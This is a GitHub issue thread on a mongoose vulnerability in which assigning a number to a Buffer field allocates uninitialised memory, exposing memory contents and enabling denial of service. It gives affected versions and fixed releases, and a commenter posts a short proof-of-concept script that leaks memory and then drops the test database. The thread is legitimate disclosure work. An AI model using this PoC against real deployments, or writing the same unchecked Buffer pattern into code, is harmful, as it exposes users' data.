-
-
Notifications
You must be signed in to change notification settings - Fork 3.9k
New issue
Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? # to your account
Don't cast number to buffer by creating a new buffer of size num #3764
Comments
Ahem. Just what? I reported this privately for a reason. |
Note that this is not just a DoS, it's memory exposure + DoS. The prerequisite for this attack is using |
Thanks for clarifying @ChALkeR |
This issue affects mongoose going back to 3.5.5. 79e740b |
Thank you :) |
As this is already public and fixed, PoC: var mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/bufftest');
// data: Buffer is not uncommon, taken straight from the docs: http://mongoosejs.com/docs/schematypes.html
mongoose.model('Item', new mongoose.Schema({id: String, data: Buffer}));
var Item = mongoose.model('Item');
var sample = new Item();
sample.id = 'item1';
sample.data = 1000;
sample.save(function () {
Item.findOne(function (err, result) {
console.log(result.data.toString('ascii'))
mongoose.connection.db.dropDatabase(); // Clean up everything
process.exit();
});
}); PoC 2 that shows meaningful data extracted from those |
Thanks for reporting this @ChALkeR , you're a champ 🍻 |
@vparkhere Can you please publish a release for this in the 3.8 branch? |
3.8.39 is published both on GitHub and at npm long ago. |
My mistake. I was looking at the commits in the 3.8.x branch and didn't see it. It must have been packaged through a side channel. Thank you for correcting me. |
Potential DoS vulnerability: send a big number to the server and the server then creates a massive buffer and tries to save it to mongodb.
Example:
If you set a buffer to user provided data, a malicious user can easily create arbitrarily large buffers that are not zero-ed out, which can lead to saving code or user data in MongoDB.
This issue was introduced in 3.5.5: 79e740b . Upgrade to
>= 3.8.39
or>= 4.3.6
is highly recommended.The text was updated successfully, but these errors were encountered: